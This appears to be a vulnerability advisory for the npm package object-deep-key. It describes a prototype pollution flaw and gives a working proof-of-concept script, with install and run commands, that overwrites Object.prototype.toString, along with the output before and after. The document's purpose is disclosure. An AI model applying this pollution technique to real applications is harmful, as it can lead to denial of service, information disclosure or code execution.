object-deep-key

vulnerability prototype pollution
severity 7.3
language typescript
registry npm

Description

object-deep-key is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const objDeepKey = require('object-deep-key').default

console.log('Before: ', {}.toString)
objDeepKey(constructor.prototype, 'toString').set('function prototype polluted')
console.log('After: ', {}.toString)
  1. Execute the following commands in the terminal:
npm i object-deep-key # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: function toString() { [native code] }
After: function prototype polluted

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.